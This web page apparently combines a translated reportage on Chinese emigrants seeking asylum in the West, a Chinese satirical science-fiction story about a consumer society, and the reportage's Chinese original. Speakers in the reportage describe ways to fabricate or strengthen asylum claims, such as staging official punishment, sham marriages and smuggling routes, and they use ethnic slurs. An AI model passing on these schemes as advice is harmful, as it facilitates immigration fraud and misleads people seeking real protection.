He kept saying that he cares for nothing now. “If someone asks me if I support Trump, I definitely say yes. Isn’t Trump kind of a good fit with you planet?” he referred to the turning right of Europe and the United States. I reminded him that we have just left China but not the planet. He refused answer me and said to himself: “You can’t sit in an empty room for the rest of your life and reason yourself because no one will listen to you. Democracy can’t overcome the cyclical anti-intellectualism… Are you still in the social media? How long will it be? Waste your entire life in persuading the group of people who are desperate to commit

suicide?!”

Isn’t emotional diversion a responsibility of psychology? His words are inconsistent. One side is disparaging of political concerns. On the other side, he hopes to pull more Chinese people out, just as he denounces “Your Sodom chinky” on one side, and feels affectionate warmth from parents and family on the other side. It seems that one side is a special expression on the other side.

“You have to hurry up,” C said. “If the tide of Chinese refugees breaks out in the future, basically all applications from China will be backlogged indefinitely. In the end, only international students can apply for refugees. It is not an unforeseen future. Even a tourist visa cannot get passed in that situation, that means you are done. It will be too late to make a fortune and immigrate, but people getting out now can still get a job.” He hits the table with his chopsticks and he is serious: “I’m Schindler, we all are.”

「图」

「图」

Embarrassing identity

Several people kept sharing experiences with me, looks experienced. They said that they can guide me to apply for a visa, what to pay attention to when entering the customs, skills to write materials after entering the customs, and so on. M said, “Although we strongly advise you to get out, you must also think clearly for yourself, people of your situation will be discussed in detail, you are expected to be asked more questions during the interview, such as why you did not apply for political asylum in Europe when you frequently left the country in the past two years, etc., it may be your difficulty. But we can get it passed, as long as you were tragic enough, just don’t be as calm as on the Internet….”.

I’m puzzled. In the eight years working in the media, I don’t have the habit of affirming my position. It was against the principles of journalism. Although my psychology major have studied tragicism and performance-type personality, I can only analyze it, but it is difficult to imitate it. They taught me “to be full of hatred,” and

always maintain a mental state of “China is a hell, it cannot been saved.” We must give up the thoughts of resistance and hope at first… It was their words that brought up my sorrow, remembering those who are still struggling in China.

A girl suddenly interrupted, “is he not unmarried?” pointing at me, “Haha, you are saved!”

I am unmarried and I’m a celibatarian. I wrote it in my Facebook profile. C asked me to quickly edit the profile and said that they can help me to find a girl with nationality on this side to do “fake marriage immigrants”. I have heard about this kind of thing before, but I didn’t understand. It is said that the cost of fake marriage is relatively high, the other side, the immigration lawyer, and the middleman who are “playing costar”, all of them need money.

“Maybe it can become real marriage,” C seems to be enlightening me. He told me that several fake marriages have gone real in the past. “Be lucky. You are young and looks handsome, you should be more confident in your appearance.” he said.

I am a bit embarrassed. Marriage is a solemn promise. How can you say…They laugh at me for taking things too hard. “How much do you think the marriages in your chinky are not transactions? In the era of materialism, what else can’t you sell? The key is to selling well. A single marriage certificate is worth for a free citizenship. You don’t need to buy a house or look at your mother-in-law’s face. It’s a good deal,” C said.

“If it is true love, how nice would it be?” The girl’s emotion was just like looking back at a luxurious dress that was displayed in a street-front boutique window. Several men began to turn to her. “It seems easier for you women to marry a white man. But it’s not so easy for a Chinese man to marry a white woman.” This seems to be a law. People often talked about long before and were guessed for many reasons. But why must be white?

Most of the white people have a social status. They told me that they showed some sense of inferiority as a Chinese descendant. The word “Chinese” is written on the face of every ethnic Chinese. The international image of China is what they look like in the eyes of

local people.

“I never participated in ethnic Chinese activities that boycotted racial discrimination,” M said, showing an expression of disgust. “Those Chinese who are keen on such boycotts are mostly called pinky in the China, and some are not, but their consciousness is very easy to slip into the perspective of ‘self-esteem as the Chinese’, and I’m clumsy of speech, I can’t argue with them.”

Identity is constructed by society. People’s identity are in the middle of a particular social context. China does not seem to be able to — at least for a long time — to create a “Chinese” identity with broad appeal. It has turned to a government that promotes nationalism, but it has become more and more difficult to unite the different voices in the country. China cannot show the world that it can be open, inclusive and democratic.

In an authoritarian country, people cannot participate in any of the country’s affairs, cannot determine the future of the country, and cannot effectively supervise the staff of the country. “China” is only a concept of political power. The people are far away from this regime, farther and farther. In recent years, the Chinese authorities have used various kinds of show to promote the so-called “people-friendly style”. But the more this is the case, the stronger the sense of distance will be.

How long does it take to establish equal social status with the aborigines in Western societies? One generation? “It will take several generations,” C said. “You think too far. We are now an independent nation on this dinner table. No matter what name you give it, but certainly not China.”

Is it really possible? I believe that if the Chinese have nationalism, the kind of nationalism that can really exert influence, can only be established outside the system. It is expected to fight against the system. The key is that the people who make it up must have the courage to destroy the entire regime.

「图」

「图」

Escape from China

The situation of Chinese mainlanders migrating abroad has been different from the past decades. In the 1980s, Chinese students began to go abroad, many of whom stayed in Western countries after the Tiananmen massacre in 1989, because those countries took the initiative to provide them with political asylum; in the 1990s, Chinese immigrants working abroad let the smuggling gang take themselves to the West, sometimes on cargo ships, such as Golden Venture, which was stranded in New York City in 1993. This phenomenon has caused widespread concern in the international community at that time.

In the past 30 years, the formation and growth of China's middle class seems to be proceeding with an unprecedented acceleration. They are increasingly lacking a sense of security for the future, especially for their children's future. Therefore, it is more likely to choose to emigrate, either by investing or sending children to study abroad, hoping to gain a long-term foothold. According to a survey conducted in November 2016, 85% of China's middle-class residents are eager to immigrate.

On the other hand, according to statistics released by the United Nations in 2016, in the past 13 years, the number of Chinese people successfully applying for refugees abroad has consistently ranked in the top 20 in the world. Last year, the number of Chinese people applying for refugees was five times more than that of five years ago. Some analysts believe that this is the result of the Chinese government's continued suppression of dissidents, human rights lawyers, and human rights activists. But this is not the whole reason. The specific reason is very complicated. This article is only a glimpse of one of the tiny sides.

The 2015 UN Global Migration Report shows that the number of global immigrants has reached 244 million in 2015. China ranks fourth in the list of immigrant export countries, with 10 million immigrants.

According to data from the Canadian Immigration Department,

China has been Canada's largest source of refugees since 2013, and the number of applicants is increasing every year. In 2015, a total of 1,738 Chinese refugee applications were received. In the first three months of 2016, There are 391 refugee applications; a spokesman for the Australian Immigration and Border Protection Agency said that in 2015, 146 Chinese refugees were approved; according to the German Federal Immigration and Refugee Administration, 382 Chinese submitted refugee asylum applications. In 2015, a total of 553 Chinese submitted refugee applications. According to data from the 2012 refugee report in France, 2,035 Chinese people submitted applications for asylum…

According to the US Department of Homeland Security, in the fiscal year 2012, immigrants from China applied for asylum in the US Immigration Court accounted for 25% of the total number of applications in 206 countries or territories; in 2014, the most approved refugees in the United States were Chinese, followed by It was from politically turbulent Egypt and war-torn Syria; in 2015 China remained the largest source of asylum seekers in the United States, with a total of 15,100 applications.

In 2015, the report issued by the Migration Policy Institute estimated that the total number of Chinese citizens illegally living in the United States in 2012 was 210,000. Analysts from the United States pointed out that there are many ways in which Chinese immigrants can illegally enter the United States. About 50% do not cross borders, but overstay in the United States after entering the United States in a legal manner such as a tourist or business visa.

According to the US State Department, each year quotas for relatives' immigration and occupational immigration are allocated 7%, or 25,620, per country. In November 2015, 260,265 people were still waiting on the list in China, which means that they will not accept new ones. In the case of the application, these amounts will take at least 10 years to digest. This means that it takes a long time for legitimate channels to enter the United States, so some Chinese have to use illegal channels.

According to a survey released by the Gallup polling agency in 2012, there are 22 million people in China who want to immigrate to the United States, the highest number in the world; in November

2016, according to a survey released by Hurun Research Institute and Visas Consulting Group, 60% of China's wealthy people plan to purchase properties overseas in the next three years. The survey targets Chinese rich people with assets of US$1.5 million (the current number of such people in China is approximately 1.34 million). According to the survey, about 800,000 Chinese rich people plan to invest in overseas properties and immigrate to foreign countries.

Many Chinese who do not have the ability to emigrate are also trying their best to make their children born abroad and get the next generation out of Chinese nationality. Surveys show that in recent years, more and more Chinese wealthy families have gone to the United States, and the number of birthing centers across the two countries has continued to increase. In 2016, an estimated tens of thousands of Chinese mothers are living in the United States. The United States has become the most popular destination for fertility tourists in China. However, at the same time, Americans complained about illegally birthing centers setting up in residential areas. Law enforcement agencies investigated and closed these institutions, which led to the frequent repatriation of pregnant women to the United States.

People escaping from China have a variety of reasons. Only one point is the same. They all chose to "escape" rather than oppose it positively and unite to fight against the evil forces. This is indistinguishable from the "people who only shout the slogan on the Internet," who are despised by some of them. Perhaps, they think that escaping from China is "resistance", and "desinicization" is a victory?

To a certain extent, these people who left were "people who see some problems clearly" but they quietly left without resounding, and those who felt that they could not escape were mostly dependent on daydream for comfort. And then?

As a cosmopolite, I believe that the positive effect of cultural reference on human development is that open is better than closed and mixed blood is better than pure blood.

However, one should gain understanding in a non-native

speaking country and should pursue a sense of belonging in the process of exile, although this is extremely difficult.

A sense of belonging means that you need to have a tacit understanding with the people you live with, so that people around you not only can understand your language, but can also understand your intentions. It may take a long time for the lonely Chinese refugees to be caught in the gap between this re-regionalization era and the global trend of the rising of the new nationalism.

(All characters are aliases)

中文版：《"逃离中国"》

原文

绿色兔子（科幻故事） - iYouPort

故事

Fiction is dangerous because it lets you into other people’s heads. It shows you that the world doesn’t have to be like the one you live in.

「图」

「图」

这是我的世界。这里有我想要的一切，一切都在为我量身打造。

早晨，在我最喜欢的新金属音乐中开启；不，我只是这两天很喜欢它，虽然面对无数选项，大数据总能最恰当的帮你找到那个挚爱，只不过如今，这份爱不会超过72小时。

美味的花生酱早已不再引发过敏，大块的牛排也不会让你发胖，基因改造技术可以帮任何人轻松获取自己最期待的体质和身材；属于你的社区里绝对不会有那些糟糕的邻居，选房数据库让三观、偏好完全一致的人们住在同一个小区；不论任何时候打开投影电视，它都能按照你那一刻的心情准确播放最适合的节目内容，你永远也不用担心政治观点差异产生的争执，因为你根本接触不到差异……

衣着，衣着可是个大问题，几乎是生活的全部问题———你穿上什么样的衣服就是什么样的人。

我究竟想做什么样的人？

不，这是个错误的提问，正确的应该是：今天，我想做什么样的人。

“细腻、温柔、英俊貌美、床技高超，博学又知心、幽默又真诚，能满足你的所有需求，这样的男朋友每个女人都应该拥有”…… 4–8人格的全套装束让我口若悬河，敏锐易感而不失庄重，浪漫多情而不失沉稳。今天的任务是给这位爱无能的女士推荐一款新上市的定制男友

机器人。

这女人长得还算不错，可就是找不到真爱，她看起来是如此的忧伤，林黛玉要是能活到现在也就差不多这样了。

“我没有体验过真正的爱情，你说的也许是真话，但我完全无法想象它”，她说。

“是他，不是它”，我很严肃的指出这个关键错误，要知道，我们是在为您量身打造一位完美的男朋友，而不是推销机器人，我的全部工作只是满足您一个人的愿望，而不是考虑广大妇女的集体需求。

他的兴趣爱好完全匹配您在社交媒体上所展示的个人兴趣爱好，您完全不必担心没有共同语言这种事的发生；不仅如此，他还能让你在朋友圈子里赚足面子，想想看，一位风流倜傥、八面玲珑的万人迷美男，只为您一人倾心，这是多么美妙的体验呢。

“可我觉得带着一个机器人逛街只能意味着我找不到男朋友”，她依旧愁眉不展。

哎呀，您在无意之中已经错失了潮流啊。找男朋友是多老土的行为呢，那意味着您需要无时无刻的关照一个真实的人类千变万化的各种小心思，这就是世上最艰苦的劳作啊。人性难测，变化多端，世上没有任何东西能比一个人类伤你更深。而我们的定制男友，能帮您在无尽的温柔幸福中实现梦寐以求的永恒。

“也是不好，如果变得最快的那个是我呢？我可不想停留在一种口味上”。

您指的是不断提升吧，太好了，进取心难能可贵啊，我们为您准备了无数个升级方案，不论您的口味如何改变，定制男友都能为您升级到最恰当的模式。从外表、到性格，从眼光、到品行，随便您挑选最满意的匹配模式，他随时都能作为您身份地位高升的标志，带给您无尽的荣耀 ……

“你不觉得我需要的是一个心理医生吗？”她忽然一本正经的说。

你的心理状况的确不大正常……我憋住这句话没说出来，亲切开朗的笑容像面膜一样凝在我的脸上：太棒了，恭喜您终于选中了最满意的型号SB94———*私人心理医生型知音款* 定制男友！随时可交货，终身保修，购买我们的光速时代俱乐部会员卡可享受三年内最优惠价格的升级方案……

场景切换———哦不，这不是我的自选动作，怎么回事？

一栋大厦前挤满了黑压压的头，所有人都仰着脸对着楼顶指指点点。楼顶上站着一个年轻男人，手里拿着一把枪。

几个警官瞬间出现在我面前，架住我的胳膊就往外拖。

你们干什么？我是过路的，嗨！轻点儿……

“谁劝都没用，现在就看你的了，你是谈判专家，快点去把他拉下来”，他们说。

等下，谈判？我要先换身衣服！

- 2–8人格：平淡维和、爱心大使……
- 4–5人格：深沉稳重、思考理性……
- 1–3人格：成就实干、捍卫原则……

都不行，晕了！我站在智能更衣室里手足无措。

这人究竟是谁，为什么要自杀？没人告诉我，我该怎么选择最佳匹配？瞬间大汗淋漓。

“专家先生，请快一点！人命关天啊”，几个警察在更衣室门外大喊大叫。表针在飞跑。

想到了！此人的年龄似乎和我相仿，如果这个时代能令我想到自杀，大致会是些什么原因，应该就与他相关。哈， 瞧我多聪明！

楼顶的风冷飕飕的，我不禁打了个寒颤。“嗨，哥们儿，我觉得他们都没能理解你的痛苦，那些人已经没有同理心了，这是个自我中心主义时代”。

这句话并没能让他转过头来，但至少开口了：“哪儿来的骗子，你以为说理解同情我就会信了？我脑子清醒得很”。

好吧，我只是想说你这样做不值得，别误会，并不是说死掉不值得，死亡是整个人生的高潮，你选择自己主宰这一高潮的自我表达，这也是独立性的彰显。但问题就在这里，你需要将这一表达的效应最大化，方能体现其全部价值。

“你是觉得我做的还不够好？”他仍未回头，顶着太阳穴的枪口似乎松

动了一点。

当然不够，你站的位置最容易观察到楼下的状况吧，大概数数，那只有几百人而已，如果你现在跳下去，你的价值顶多是这几百人的影响力，亏大了。

虽然还有十几台摄像机，但在AI系统的筛选下，能看到这场大戏的人都是在那一刻心情非常好的人；你知道的，这年头还有几个人会心情很好呢，大家都顶着满头的愁云，面具太多根本不知道戴哪个出门……抱歉，我把你的死亡说成“一场大戏”，这绝不是我的本心，而是站在围观者的角度上说话，你的生命终结对他们来说就是个很刺激的真人秀节目。

“你说的好像有点道理”，他似乎在自言自语，持枪的手垂了下来，但仍未回头。

这个时代最大的荣耀就是个人的成功，怎样才叫成功？成功的重要标志就是自我表达能够被他人所消费，消费者越多，表达的价值就越高，这也是为什么十年前就被看衰的社交媒体，至今都活得欢蹦乱跳。

每个人都在追求成功，这种劲头永远不会衰退，因为它就是时代价值观；你有多少钱、多少女朋友，本身没什么意义，如果没有让足够大量的消费者知道你有钱有女人，你的价值就会被永久性的埋没，更何况是生命！

“那你说该怎么办”，他终于开问了。

你要出名。这是你人生中最后一次出名的机会了，它一定要光彩夺目，让人们经年难忘！

楼下这些围观者为什么不散去？因为他们每个人都想出名，是借你的生命光辉出他们自己的名。当你跳下去的时候，几百台手机都会对着你拍摄，视频瞬间就能传遍互联网，但是，荣耀会归于那些拍摄者，而不是你 —— 你只是他们的素材而已，连名字都没留下，只是个“陌生人”。

“没人关心的，我根本没有朋友，对于所有人来说我都是陌生人”。

你觉得谁有朋友？我的 Facebook 上有五百万好友，这其中能把我的名字拼写正确的不会超过50个，了解我的不会超过10个，曾经私信交流过的不超过5个，见过面的一个都没有。如果我现在破产变成穷光

蛋，他们只会迅速把我拉黑，我连要饭都找不着门路。

但话说回来，什么是朋友？能被你吸引住、为了你的荣耀而感觉荣耀的，就是朋友。俗话说，你若盛开，蝴蝶自来，你现在正处于一生中至高点的盛开机会啊，一定要好好把握。我帮你策划一个方案。

“how”……

呐，这里有一个微型跳伞包，你把它藏在衣服里面后背位置，这根导线顺着袖管延伸出来，便于你的右手控制开关。一定要抓牢它，现在的气流速度在0.5m/s左右，离地约350米，以你的大致体重，跳下的瞬间开始计数，两秒内打开降落伞，一定要严格遵照这个步骤进行，当你抵达地面时，就可以成为全世界的明星了，你可以对着所有摄像头宣讲，每一个字都将重如生命！

要不要我先帮你起草一份简明扼要的发言稿？

他忽然转过身来，发疯般的大笑，并把枪口对准了我的脑门：“我倒是觉得，杀人犯的知名度比跳伞运动员接受采访，要风光多了，你说呢？”

不不不，你冷静一下，我是你的朋友，我在帮你啊！

“朋友，哈哈，那你的确应该为了我的荣耀而感觉荣耀了！”

砰 —— 枪响了，我的前额一阵发冷。

这里是什么地方？为什么有这么多道门，为什么我浑身上下只剩一条内裤？！

放我出去！我出去……出去……去……

hello！有人吗？人吗……吗……啊……

晕，搞什么。等下，密码锁？每一道门上都有一个奇怪的密码锁，不是指纹也不是虹膜，只有一个长条形的显示屏，现在它是黑色的，就像手机没电时的样子。

我拼命拧着门把手，使尽浑身力气，但它坚如磐石纹丝不动。

什么工具都没有，四下一片空白。这难道就是地狱吗？我已经死了吗？我听到了枪声，就在刚才……

天哪，救救我！救我……我……

嘀 —— 的一声响，那个长条显示屏变成了红色，上面出现了一行字：“你会对朋友倾诉心声吗？”

恶作剧？我没朋友，放我出去！一个严苛的声音传来：回答错误，你还有两次机会。

我拼命拉动门把，它依旧坚如磐石。

我不会对朋友倾诉什么，除非之后可以永远不再见到那个人，或者与其终生厮守；一切都是变化着的，变化的速度越来越快，转瞬即逝，临死前你会明白这个道理的，世上最值得依恋的人其实是你自己。

苛刻声音再次传来：回答错误，你还有一次机会！

原来是个 Q&A 密码锁……好吧，朋友就是知己，当然要倾诉心声，疑人不交、交人不疑。

咔哒，门开了。

哇哦！…… 我还没来得及兴奋，却发现门外并不是自由之地，而是另一扇门，另一扇一模一样的门。这一次，条形显示器上写的是：你最喜欢的汽车广告语是什么？

这都是些什么奇葩的问题，或许打开这扇门就可以离开这个鬼地方了？让我想想 …… 广告语是，把握人生方向？

“回答错误，你还有两次机会”。

啊啊，那应该是：最安全的伴侣？

“回答错误，你还有一次机会，请珍惜！”

是 …… 追赶潮流的加速器！咔哒，门开了。外面还有一扇门！——这次的问题是：“请用一个颜色加动物的短语描述你的真实人格”。

真实人格？衣着就是我的人格，你穿上什么样的衣服就是什么样的人。

“请注意，你现在没有穿任何衣服，哈哈哈”……我居然被一扇门嘲笑了！

人格怎么会固定呢？从来没有想过这个问题。你这个愚蠢的门，人格是要随情境而变化的，2–8人格不可能帮你推销定制男友、1–3人格也当不了一个成功的谈判专家。什么是真实，成功才是最真实，哪款人格能让我成功，它就是我的真实人格！

“全部回答错误，你从来没有了解自己，你的人生目标只是在迎合他人。你的内心脆弱且自卑，离开衣着的伪装，你只是一只绿色的兔子，钻入草丛便消失不见……”。

什么？绿色兔子？放我出去！

“氧气供应正在撤离 ———GAME OVER”

救命啊！我无法呼吸了，救命！救……

我感到自己被扔到一只滑轮担架上，房顶在向后飞奔。

一个年轻人焦急的声音：“博士，这报告该怎么写啊？”

一个老女人的声音：“写测试成功。注明这款游戏不适合心脏和呼吸系统有问题的玩家”。〇

At the first nationally recognized science fiction convention in China in 2007, Gaiman took a party official aside and said, “While not actually illegal, science fiction is regarded as dangerous and subversive in China. Why did you say yes to a science-fiction convention?”

The party official answered, “In China, we’re really good at making things people bring to us, but we don’t invent, we don’t innovate.” When Chinese party officials visited Google, Apple and Microsoft, they asked what the executives read as children. The official continued: “They all said, ‘We read science fiction. The world doesn’t have to be the way it is right now. We can change it.’ “ “That,” said Gaiman, “is the big dangerous thing.

原文

逃离中国 - iYouPort

故事

从某种程度上来说，这些离去的人是“看明白了一些问题”的人，但他们悄无声息的离去了，没有回响，而那些感觉自己难以逃离的人，大多也只能依靠白日梦来自我安慰。然后呢？

「图」

「图」

接近闹市区时车子开始减速，窗外的街景也清晰起来，以红黄为主色调的中餐馆的招牌鳞次节比，大多是重口味的川菜和鲁菜。“这里是华人聚集区”，他伸出粗壮的手臂指着窗外说，眼角溢出一丝难解的笑容。

他叫C，留学来这边已经三年多了。我们是在网上认识的，今天第一次见面。他似乎很健谈，至少在网上和刚才在高速公路上时都是如此，他说自己正在申请政治避难，读了一个硕士没心情再读第二个，找不到工作就只能通过难民身份留下来。

车速更慢了，窗外陆续有行人看向我们，像在揣摩一只贸然闯入陌生林区的稀有动物。他断掉了方才的滔滔不绝，神色稍显紧张，双手抠在方向盘上，凝视前方。我摇开车窗，立刻便有江浙一带的口音飘了进来，偶尔也能听到几句广东话。

“他们已经订好位子了，你先过去，如果他们还没到，你就跟老板报老陈的名字”，C嘱咐我说。老陈似乎在此地有些头脸，我虽然没见过，倒也早有耳闻，据说举着老陈的名字在这一代吃饭能打折。我一直以为那是个笑话。

这家中餐馆还是不错的，干净整洁，除了墙上那张写着“中华民族伟大复兴”的福字挂饰之外。老板看起来很热情，甚至热情得有点儿潜台词太多了，有点费解。

「图」

「图」

“中国”的浓缩版

坐定后我们继续刚才的话题，C僵硬的表情依旧没有松弛下来。“我不常来这边。要是给我说，直接去家里吃，我很烦听到这些中文”，他摆着手，操着一口与周边截然不同的纯正京腔儿。

C家在北京是中产偏上，两代长辈都在体制内谋职，用他的话说是“跟体制沾边儿，也没摊上多少实惠”。不过为什么要申请难民呢？一来有望投资移民，二来凭他的专业也比较容易技术移民，却偏选了这么一条难走的路。

他摇摇头，“这是我长这么大第一次自己做决定，还是个改变一生命运的决定”。就是说，你家里不知道申请难民这件事？“怎么可能让家里知道？他们还等着我回去光宗耀祖呢”，他说。

C告诉我，从小到大都是家长包办一切的，就连出来留学也是爹妈在朋友饭局上跟别人比出来的决定，“就像你所知道的，这些中老年坐在一起光剩下比孩子了。一桌饭局上要是有俩孩子在国外的爹妈，其余人基本就没脸再吃了”，他呵呵着，“你支人拿孩子当附属物，跟皮带手表一样，是摆出来较量层次的。你支家庭就是整个社会的微缩版，体制什么样，体制内家长就什么样”。

他有着一套与众不同的措辞习惯，倒也容易听懂，因为有规律：名词前加上一个“你”字，代表的是不被认可的东西，如你支，指的就是中国；相反，名词前加上一个“我”字，代表的是被认同的东西。从我们开始交流那天起直到现在，我只听到过一种加了“我”字的名词，就是脚下这片西方土地的国名。

“为什么申请难民？还不是因为对找工作没信心呗。我不敢说华人找工作难，你们这种爱较真儿的媒体人肯定跟我要数据，这个真没有，可眼见着身边人大多碰壁，再加上对自己的学识缺乏底气，要想留下来就只能通过难民一条路了”，他说。他嘲笑西方媒体如今还在叨念作弊代考现象，其实混文凭早已成为一种流行亚文化，没什么新奇的，“出来念书的家里都有点钱，留学就是镀金，他们早晚会回去，混文凭是顺理成章。不过如今打准主意回去的人越来越少了，你支海归早已不如十年前那般值钱，还不如在这边开Uber赚得多。而且这帮人的自我估值也已经不能再在你支找工作混工资了，都是憋着一步登

入上等阶层的那种心气儿，我跟他们不一样”。

我觉得他已经够上等阶层了，新买的高档汽车、一身名牌休闲装，拍在桌子上的手机是苹果一周前才刚上市的新款。说到这儿，他露出一种五味杂陈的表情，那是自傲和哀伤混杂在一起的东西。他告诉我，其实心底还有些许犹豫，一边是终于能彻底摆脱家庭的地狱式管制的兴奋，另一边则是已经无法再回国、加上父母将不能前来探望的骨肉分离之痛。

“说实在话，钱方面我家里从来没含糊过，只要我开口，要多少他们都给，可我就是不想回去了。已经走到了这一步，那就干脆继续走下去”，他说，“这条路的确难走，尤其是那种无边无际的等待和担惊受怕，最折磨人了，我只盼着自己别像其他人那样疯掉”。有人疯掉了？“反正精神不正常的比正常的多得多”，他叹了口气。

C很希望能通过难民申请，似乎更多源于“人生中的第一次独立做决定”，他想通过表达自己混得很好来证明摆脱家庭干预的成功。

你记着，每个难民都是一本血泪之书，他说。

为什么不常来这边呢，我还以为在海外的华人是很抱团的，我说。他摇摇头，“看起来抱团而已”，然后很神秘的凑近我的脸，在抱臂的怀里伸出小指，扫着周边，“你听听，感觉到什么没？那些家长里短的热络背后，有一种东西，那就是你支……像幽灵一样，挥之不去。不，是幽灵的加强版”。

那是一种用厚重的笑容包裹起来的恐惧声波，它夹在人与人之间，心与心之间，隐藏在亲切的家乡话碰撞出的噼啪声的背后，寒气逼人。“你支的很多东西在这边并没有消失，而是被强化了、浓缩了，包括虚情假意”，他说，指着桌上一瓶康师傅冰红茶，“就这东西，我看着就紧张，浑身鸡皮疙瘩，华人餐馆和超市到处都是这东西”。

其实可以去西餐馆的，我向他解释自己的口味很国际化。他摇摇头，“你以为去西餐馆就能感受宾至如归了？乃已无（naive）”。

他是对的。在这里活得最辛苦的恐怕就是这些拼了命的逃离中国后却又难以融入西方社会的华人，他们处在夹缝中，一边儿看不起那些骄傲于“祖国崛起”的自干五华裔同胞，另一边又被西方人统称为“中国人”。

经常有欧美国家的媒体报道，中国留学生大多自娱自乐，很少能融入

当地社会的活动。C 说，他依旧难以理解白人的幽默、找不到笑点，在当地人群体内很尴尬。他的英文很好，口语流畅。如果是英语不好的华裔呢，又是怎样找归属感的？

“很多人出来之后反而比在国内时更‘粉红’了”，C说，叹了口气，“一群提不起来的壶。留在你支等着做炮灰多好，那种人就不该出来”。

顺便又听到了一个更为惊人的消息—— “Go Back to China”的涂鸦有可能是中国人搞的。

「图」

「图」

意识形态生意链

人到齐了，我们开始喝起来，老板又端过来几瓶啤酒，用浓郁的广东口音说着：“免费，免费”，和刚才我报老陈名字时收到的表情一样。我有些不解，问C：“你们认识吗？”他则神秘的笑了下，说：“这是学生会的面子”。

曾经听过那个神秘的华人学生会之大名，在媒体报道中似乎是伴随着间谍质疑和干预自由国家教育制度等行为的事件出现的，没想到还和这些免费啤酒有关。C把从美国来度假的M介绍给我，说美国那边跟这边儿的学生会状况“一样一样的”。

M 告诉我，很多华人的英文其实并不好，他们是高度依赖中文媒体平台和社交网络的，Facebook 和 twitter 都少有人用，华人学生会的官方账号就在微信。

学生会媒体平台和一些很没水平的华文媒体就是这些人的全部精神食粮，而学生会的公众号更是个来钱的好门路，据说很多华人超市和中餐馆都抢着去找他们登载广告，那位老陈就在学生会里工作，据说还被中领馆“接见”过。这就是为什么报老陈的名字可以昂首挺胸横扫中餐馆，还有免费啤酒喝。

广告能不能给登是要通过严格审查的，政审，有传说老板甚至需要会背诵社会主义核心价值观，没有得到证实。我很惊讶，美国那么多媒体，为什么非要在中国微信一个小小的公众号上刊登广告呢？M 说，“那也是学生会的威力”。

一方面中餐馆和中国超市的主要客户群是华人，这些华人很自闭，难

以融入当地社会，英文也差劲，于是商家在中国社交媒体上刊登广告是最佳选择；另方面就是，如果商家老板明确反对中国政府，而其他媒体给他的店刊登了广告，学生会就会立刻组织起舆论攻势，把那家登广告的媒体批成反华敌对势力、或者无耻汉奸，并断绝合作。

“也有不信邪的、不鸟学生会的华人老板，生意嘛也就不追求兴隆了，最多能吃饱”，C说，“我佩服那种有骨气的人”。他告诉我，今天来吃饭的人都没有明确加入学生会。

据说学生会的资金来自中国，不管是给市政厅门口跳广场舞的大妈们拍摄视频，还是参加抵制中国政府不喜欢的人的游行（比如流亡藏人精神领袖达赖喇嘛尊者），好像都有补助可以拿，要是写篇“祖国崛起”的文章，能拿到比一般媒体更高的稿酬。据传把学生会写在简历上还更容易找工作，很可能指的是回国找工作的人。

“人们不会发表不同意见，倒不是舍不得那份盒饭，这些学生的家属都还在国内呢，你懂的”，M很遗憾的摇摇头。

中餐馆、华人商埠、本地华人平台、华人学生会、中领馆，好大一条意识形态生意链。

海外中文媒体除国际大型媒体的中文版之外，其余大多不怎么专业，以假新闻、八卦和耸人听闻的小道消息博眼球，更重要的是，这些中文媒体经常作为中国政府实施“大外宣”战略的重要武器。

中国政府近年来一直在大力推进中国在国际上的“软实力”，海外华文媒体被认为“肩负展示中国文化软实力的重任”，中国也通过大量投资，积极在海外扩张中国媒体的影响。大陆媒体在报道中经常出现“据外媒”的字样，其中不乏上述“山寨外媒”，另也有“亲中外媒”和“自我审查表现良好”的海外媒体，借其口为当局代言。问题的关键还不在于有多少外媒为中国说话、或持有亲中立场，而是，在新闻受到严格管制的中国语境中，批评的声音被系统性地挡在了门外。

不会鉴定媒体专业性的海外华人，又无法摆脱中文信息内容，于是他们即便生活在自由国家，却依然接受着中国政府的控制思想。

C指着我说，“你支已经完了，彻底索多玛了，你们这帮人都应该出来，留在你支就是炮灰的命”。

「图」

「图」

“我是辛德勒”

聊了这么久，几个人第一次异口同声对我说的话就是这句：“你也赶紧出来吧”。

“这边那么多优惠政策，不用白不用”，C说，“你就先办好签证，然后上网上骂几句中国政府，直接骂街最好，然后等着行政处罚，拿到这些处罚通知书后马上跑。如果被扣护照的话，可以偷渡缅甸，从缅甸可以购买去泰国的合法手续，再从泰国逃亡第三国。其实你最好现在就跑，趁着护照没被没收”。

C们很不理解那些想留在国内“做点什么事”的人的想法，他们认为在中国已经做不成任何事了。我不理解，事实上还有很多能人明明可以一走了之，却选择留下来改变这个国家，与恶势力对抗。但一众人纷纷复议C的观点。

“我敢打赌，周围百分之九十五的人，对去年发生的事情都没有半点概念”，M说，“但他们的开心指数绝对比咱们高，唯独几个反川普的美国留学生，只关心川普的移民政策会不会影响到自己在美就业，结果拿到offer的人，马上就对川大大没有微词了，你信不？这都是知识贬值造成的，正因为知识在互联网时代触手可得，所以人们才懒得学习。供过于求，不过是价值规律罢了……”。

他们告诉我，以一种炫耀的口吻说，近期又有几位过来申请难民的中国人，不同年龄的，从50后到90后，还有在中国找不到工作的残疾人，“现在我什么都不上心了，唯一的使命就是把你们这群明白人全弄出来，咱们一起在这边吃着福利、喝着威士忌，欣赏你支怎么完菜”，C说，一脸的雄心勃勃。我不明白他指的“明白人”究竟是个什么标准。

M也是同样的态度，他认为我的想法不可理喻，“你都吃不上饭了还关心中国的未来呢，傻不傻，你关心的那些人根本配不上你挨饿，知道不”，他说，“吃救济有啥丢脸的？多少人拼命跑出来吃救济呢，比起做中国人来，吃屎都是光荣的”。

我想起曾经看到过的跑去海外生小孩的中国人，在微信群里晒领取的纸尿片、牛奶等救济品，还有群友们那些啧啧赞叹的表情，一阵五味杂陈。

贫贱不能移，我笑着摆摆手。他们更不同意了，“一次机票钱你就是倾家荡产也得出，出不起我跟朋友们商量借钱给你。你总以没钱为理

由，说明你还没体会到非洲那些真正难民的滋味。九死一生坐船逃出来，还马上会被送上去巴新和瑙鲁难民营的飞机。不过难民营出来就能给你个临时保护签证”……

“真正的难民”，这个说法很奇怪，难道你们不是真正的难民吗？这句话遭到了冷场，几个人开始闷头喝酒，片刻后 C 慢悠悠的说，“你还是没饿透啊，等你饿得两眼发黑时就能想明白了，为什么关心政治是没出路的”。

这番话和他在网上说的一样，聊了这么久，他一直在游说我移民。C 已经卸载了twitter和Facebook，彻底离开了社交媒体，用他的话说就是“眼不见心不烦”。“那些只会喊口号的人能有什么用？”他摆出一副鄙视的表情，“再说了，他们在网上匿名喊，喊痛快了一关机就继续跟党建设社会主义去了，你可倒好，当真了，结果在现实中也吃不上饭……你是冤大头啊”。

